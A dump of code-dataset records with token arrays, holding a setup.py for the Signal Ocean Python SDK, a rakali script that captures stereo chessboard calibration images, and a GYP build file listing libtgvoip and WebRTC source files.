4761, 29871, 29941, 742, 13, 4706, 525, 7031, 293, 4761, 2726, 6883, 16738, 4761, 3497, 2315, 18150, 742, 13, 4706, 525, 7031, 293, 4761, 2184, 4761, 12745, 973, 29879, 742, 13, 4706, 525, 7031, 293, 4761, 22310, 1907, 742, 13, 1678, 4514, 13, 29897, 13, 2 ]
setup.py	SignalOceanSdk/SignalSDK	10	55697	from setuptools import setup, find_packages from os import path import re def read_file(file_name: str) -> str: here = path.abspath(path.dirname(__file__)) with open(path.join(here, file_name), encoding="utf-8") as f: return f.read() long_description = read_file("README.md") version = re.sub("\s+", "", read_file("version.txt")) setup( name="signal-ocean", version=version, description="Access Signal Ocean Platform data using Python.", long_description=long_description, long_description_content_type="text/markdown", author="Signal Ocean Developers", author_email="<EMAIL>", license="Apache 2.0", url="https://apis.signalocean.com/", packages=find_packages(exclude=["tests", "tests.*"]), python_requires=">=3.7", install_requires=[ "requests>=2.23.0,<3", "python-dateutil>=2.8.1,<3", "pandas>=1.0.3,<2", ], classifiers=[ "Development Status :: 4 - Beta", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "License :: OSI Approved :: Apache Software License", ], project_urls={ "The Signal Group": "https://www.thesignalgroup.com/", "Signal Ocean": "https://www.signalocean.com/", "The Signal Ocean Platform": "https://app.signalocean.com", }, )	[ 1, 515, 731, 21245, 8789, 1053, 6230, 29892, 1284, 29918, 8318, 13, 3166, 2897, 1053, 2224, 13, 5215, 337, 13, 13, 13, 1753, 1303, 29918, 1445, 29898, 1445, 29918, 978, 29901, 851, 29897, 1599, 851, 29901, 13, 1678, 1244, 353, 2224, 29889, 370, 1028, 493, 29898, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 1678, 411, 1722, 29898, 2084, 29889, 7122, 29898, 4150, 29892, 934, 29918, 978, 511, 8025, 543, 9420, 29899, 29947, 1159, 408, 285, 29901, 13, 4706, 736, 285, 29889, 949, 580, 13, 13, 13, 5426, 29918, 8216, 353, 1303, 29918, 1445, 703, 16310, 2303, 29889, 3487, 1159, 13, 3259, 353, 337, 29889, 1491, 14182, 29879, 29974, 613, 12633, 1303, 29918, 1445, 703, 3259, 29889, 3945, 5783, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 25436, 29899, 29877, 11956, 613, 13, 1678, 1873, 29922, 3259, 29892, 13, 1678, 6139, 543, 6638, 9954, 284, 21091, 28096, 848, 773, 5132, 19602, 13, 1678, 1472, 29918, 8216, 29922, 5426, 29918, 8216, 29892, 13, 1678, 1472, 29918, 8216, 29918, 3051, 29918, 1853, 543, 726, 29914, 3502, 3204, 613, 13, 1678, 4148, 543, 10140, 284, 21091, 10682, 414, 613, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 19405, 543, 17396, 1829, 29871, 29906, 29889, 29900, 613, 13, 1678, 3142, 543, 991, 597, 11355, 29889, 4530, 7003, 11956, 29889, 510, 29914, 613, 13, 1678, 9741, 29922, 2886, 29918, 8318, 29898, 735, 2325, 29922, 3366, 21150, 613, 376, 21150, 5575, 3108, 511, 13, 1678, 3017, 29918, 276, 339, 2658, 543, 18572, 29941, 29889, 29955, 613, 13, 1678, 2601, 29918, 276, 339, 2658, 11759, 13, 4706, 376, 24830, 18572, 29906, 29889, 29906, 29941, 29889, 29900, 29892, 29966, 29941, 613, 13, 4706, 376, 4691, 29899, 1256, 4422, 18572, 29906, 29889, 29947, 29889, 29896, 29892, 29966, 29941, 613, 13, 4706, 376, 15112, 18572, 29896, 29889, 29900, 29889, 29941, 29892, 29966, 29906, 613, 13, 1678, 21251, 13, 1678, 770, 14903, 11759, 13, 4706, 376, 21956, 358, 16034, 4761, 29871, 29946, 448, 350, 1187, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29955, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29947, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29929, 613, 13, 4706, 376, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 13380, 18540, 19245, 613, 13, 1678, 21251, 13, 1678, 2060, 29918, 26045, 3790, 13, 4706, 376, 1576, 9954, 284, 6431, 1115, 376, 991, 597, 1636, 29889, 26041, 647, 284, 2972, 29889, 510, 29914, 613, 13, 4706, 376, 10140, 284, 21091, 1115, 376, 991, 597, 1636, 29889, 4530, 7003, 11956, 29889, 510, 29914, 613, 13, 4706, 376, 1576, 9954, 284, 21091, 28096, 1115, 376, 991, 597, 932, 29889, 4530, 7003, 11956, 29889, 510, 613, 13, 1678, 2981, 13, 29897, 13, 2 ]
src/rakali/cli/find_chessboards_stereo_live.py	sthysel/rakali	6	76264	""" Find chessboards in both frames of a stereo feed """ import logging from pathlib import Path import click import cv2 as cv import numpy as np from rakali import VideoPlayer from rakali.annotate import add_frame_labels from rakali.camera.chessboard import ChessboardFinder from rakali.stereo.reader import StereoCamera from rakali.video import go from rakali.video.writer import get_stereo_writer logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) NVR = "192.168.1.20" @click.command(context_settings=dict(max_content_width=120)) @click.version_option() @click.option( "-l", "--left-eye", help="Left eye, can be local USB cam (0\|1\|2..) or IP cam rtsp URL or file", default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=1", show_default=True, ) @click.option( "-r", "--right-eye", help="Right eye, can be local USB cam (0\|1\|2..) or IP cam rtsp URL or file", default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=2", show_default=True, ) @click.option( "-o", "--output-folder", help="Chessboard images store folder", default="~/rakali/stereo/chessboards/", show_default=True, ) @click.option( "--chessboard-rows", help="Chessboard rows", default=9, show_default=True, ) @click.option( "--chessboard-columns", help="Chessboard columns", default=6, show_default=True, ) def cli(left_eye, right_eye, output_folder, chessboard_rows, chessboard_columns): """ Find chessboard calibration images in both frames of the stereo pair """ out_path = Path(output_folder).expanduser() out_path.mkdir(parents=True, exist_ok=True) chessboard_size = (chessboard_columns, chessboard_rows) finder = ChessboardFinder(chessboard_size) stream = StereoCamera( left_src=left_eye, right_src=right_eye, ) player = VideoPlayer() with player, stream: original_writer = get_stereo_writer(stream, file_name="original_stereo.avi") annotated_writer = get_stereo_writer(stream, file_name="annotated_stereo.avi") frame_count = 0 good_count = 0 while go(): ok, frames = stream.read() frame_count += 1 if ok: good = [] annotated = [] # so we have a good stereo frame, now inspect each frame and if # a chessboard is found in each, save the pair to disk. for frame in frames.frames(): labels = [f"Stereo Calibrate {frame_count}"] display_frame = frame.copy() height, width, channels = display_frame.shape has_corners, corners = finder.corners(frame) if has_corners: good.append(True) finder.draw(display_frame, corners) labels.append("CHESSBOARD") else: good.append(False) labels.append("NO CHESSBOARD FOR YOU") add_frame_labels(display_frame, labels=labels) annotated.append(display_frame) if all(good): # both frames have verified chessboards save frames for analysis for side, frame in frames.calibration_named_frames(): cv.imwrite(f"{out_path}/{side}_{good_count:05}.jpg", frame) good_count += 1 player.show(np.hstack(annotated)) annotated_writer.stereo_write(annotated) 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libtgvoip.gyp	seven1240/libtgvoip	3	142797	<filename>libtgvoip.gyp # GYP project file for TDesktop { 'targets': [ { 'target_name': 'libtgvoip', 'type': 'static_library', 'dependencies': [], 'defines': [ 'WEBRTC_APM_DEBUG_DUMP=0', 'TGVOIP_USE_DESKTOP_DSP', 'WEBRTC_NS_FLOAT', ], 'variables': { 'tgvoip_src_loc': '.', 'official_build_target%': '', 'linux_path_opus_include%': '<(DEPTH)/../../../Libraries/opus/include', }, 'include_dirs': [ '<(tgvoip_src_loc)/webrtc_dsp', '<(linux_path_opus_include)', ], 'direct_dependent_settings': { 'include_dirs': [ '<(tgvoip_src_loc)', ], }, 'export_dependent_settings': [], 'sources': [ '<(tgvoip_src_loc)/BlockingQueue.cpp', '<(tgvoip_src_loc)/BlockingQueue.h', '<(tgvoip_src_loc)/Buffers.cpp', '<(tgvoip_src_loc)/Buffers.h', '<(tgvoip_src_loc)/CongestionControl.cpp', '<(tgvoip_src_loc)/CongestionControl.h', '<(tgvoip_src_loc)/EchoCanceller.cpp', '<(tgvoip_src_loc)/EchoCanceller.h', '<(tgvoip_src_loc)/JitterBuffer.cpp', '<(tgvoip_src_loc)/JitterBuffer.h', '<(tgvoip_src_loc)/logging.cpp', '<(tgvoip_src_loc)/logging.h', '<(tgvoip_src_loc)/MediaStreamItf.cpp', '<(tgvoip_src_loc)/MediaStreamItf.h', '<(tgvoip_src_loc)/OpusDecoder.cpp', '<(tgvoip_src_loc)/OpusDecoder.h', '<(tgvoip_src_loc)/OpusEncoder.cpp', '<(tgvoip_src_loc)/OpusEncoder.h', '<(tgvoip_src_loc)/threading.h', '<(tgvoip_src_loc)/VoIPController.cpp', '<(tgvoip_src_loc)/VoIPGroupController.cpp', '<(tgvoip_src_loc)/VoIPController.h', '<(tgvoip_src_loc)/PrivateDefines.h', '<(tgvoip_src_loc)/VoIPServerConfig.cpp', '<(tgvoip_src_loc)/VoIPServerConfig.h', '<(tgvoip_src_loc)/audio/AudioInput.cpp', '<(tgvoip_src_loc)/audio/AudioInput.h', '<(tgvoip_src_loc)/audio/AudioOutput.cpp', '<(tgvoip_src_loc)/audio/AudioOutput.h', '<(tgvoip_src_loc)/audio/Resampler.cpp', '<(tgvoip_src_loc)/audio/Resampler.h', '<(tgvoip_src_loc)/NetworkSocket.cpp', '<(tgvoip_src_loc)/NetworkSocket.h', '<(tgvoip_src_loc)/PacketReassembler.cpp', '<(tgvoip_src_loc)/PacketReassembler.h', '<(tgvoip_src_loc)/MessageThread.cpp', '<(tgvoip_src_loc)/MessageThread.h', '<(tgvoip_src_loc)/audio/AudioIO.cpp', '<(tgvoip_src_loc)/audio/AudioIO.h', '<(tgvoip_src_loc)/video/ScreamCongestionController.cpp', '<(tgvoip_src_loc)/video/ScreamCongestionController.h', '<(tgvoip_src_loc)/video/VideoSource.cpp', '<(tgvoip_src_loc)/video/VideoSource.h', '<(tgvoip_src_loc)/video/VideoRenderer.cpp', '<(tgvoip_src_loc)/video/VideoRenderer.h', '<(tgvoip_src_loc)/video/VideoPacketSender.cpp', '<(tgvoip_src_loc)/video/VideoPacketSender.h', '<(tgvoip_src_loc)/video/VideoFEC.cpp', '<(tgvoip_src_loc)/video/VideoFEC.h', '<(tgvoip_src_loc)/json11.cpp', '<(tgvoip_src_loc)/json11.hpp', # Windows '<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.cpp', '<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.h', '<(tgvoip_src_loc)/os/windows/AudioInputWave.cpp', '<(tgvoip_src_loc)/os/windows/AudioInputWave.h', '<(tgvoip_src_loc)/os/windows/AudioOutputWave.cpp', '<(tgvoip_src_loc)/os/windows/AudioOutputWave.h', '<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.cpp', '<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.h', '<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.cpp', '<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.h', '<(tgvoip_src_loc)/os/windows/WindowsSpecific.cpp', '<(tgvoip_src_loc)/os/windows/WindowsSpecific.h', # macOS '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.cpp', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.h', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.cpp', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.h', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.cpp', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.h', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.cpp', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.h', '<(tgvoip_src_loc)/os/darwin/AudioUnitIO.cpp', '<(tgvoip_src_loc)/os/darwin/AudioUnitIO.h', '<(tgvoip_src_loc)/os/darwin/DarwinSpecific.mm', '<(tgvoip_src_loc)/os/darwin/DarwinSpecific.h', # Linux '<(tgvoip_src_loc)/os/linux/AudioInputALSA.cpp', '<(tgvoip_src_loc)/os/linux/AudioInputALSA.h', '<(tgvoip_src_loc)/os/linux/AudioOutputALSA.cpp', '<(tgvoip_src_loc)/os/linux/AudioOutputALSA.h', '<(tgvoip_src_loc)/os/linux/AudioOutputPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioOutputPulse.h', '<(tgvoip_src_loc)/os/linux/AudioInputPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioInputPulse.h', '<(tgvoip_src_loc)/os/linux/AudioPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioPulse.h', # POSIX '<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.cpp', '<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.h', # WebRTC APM '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/field_trial.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/cpu_features_wrapper.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/asm_defines.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/metrics.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/compile_assert_c.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/field_trial.cc', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/metrics.cc', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/cpu_features.cc', '<(tgvoip_src_loc)/webrtc_dsp/typedefs.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/memory/memory.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/meta/type_traits.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/algorithm/algorithm.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/container/inlined_vector.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/policy_checks.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/port.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/config.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/invoke.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/inline_variable.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/atomic_hook.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/identity.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/attributes.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/macros.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/optimization.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/log_severity.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/utility/utility.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/constructormagic.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/race_checker.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event_tracer.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/ignore_wundef.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/arraysize.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_file.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/swap_queue.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/trace_event.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/deprecation.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker_impl.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/sanitizer.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/scoped_ref_ptr.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/atomicops.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_minmax.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions_impl.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_compare.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/unused.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/inline.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/ignore_warnings.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/asm_defines.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/rtc_export.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/arch.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread_types.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/protobuf_utils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_annotations.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/gtest_prod_util.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/function_view.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread_types.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcount.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker_impl.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event_tracer.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/compile_assert_c.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_webrtc.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/type_traits.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_file.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcounter.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/race_checker.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcountedobject.h', '<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_vad_weights.cc', '<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_activations.h', '<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/kiss_fft.h', '<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/kiss_fft.cc', '<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_vad_weights.h', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/audio_frame.cc', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_config.h', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_control.h', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/audio_frame.h', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_config.cc', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_factory.h', '<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_factory.cc', '<(tgvoip_src_loc)/webrtc_dsp/api/array_view.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/third_party/fft/fft.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/third_party/fft/fft.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/bandwidth_info.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/include/isac.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_estimator.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb16_tables.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_gain_tables.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines_logist.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/os_specific_inline.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filterbanks.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/entropy_coding.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_vad.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/settings.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/transform.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb12_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/crc.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_filter.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode_lpc_swb.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filter_functions.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/decode.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lattice.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/intialize.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_tables.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_gain_swb_tables.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/bandwidth_estimator.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_float_type.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_lag_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_analysis.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/spectrum_ar_model_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines_hist.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/codec.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_gain_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb16_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/entropy_coding.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_vad.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/structs.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filter_functions.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode_lpc_swb.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_filter.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines.c', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/crc.c', 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'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_framer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erle_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/cascaded_biquad_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matrix_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_buffer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/stationarity_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_signal_analyzer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_path_variability.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/moving_average.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_reverb_model.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output_analyzer.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_audibility.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor_metrics.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/moving_average.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erle_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subband_erle_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_common.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/residual_echo_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fullband_erle_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/stationarity_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_canceller3.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/skew_estimator.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_decay_estimator.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller2.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain_limiter.cc', '<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/main_filter_update_gain.cc', 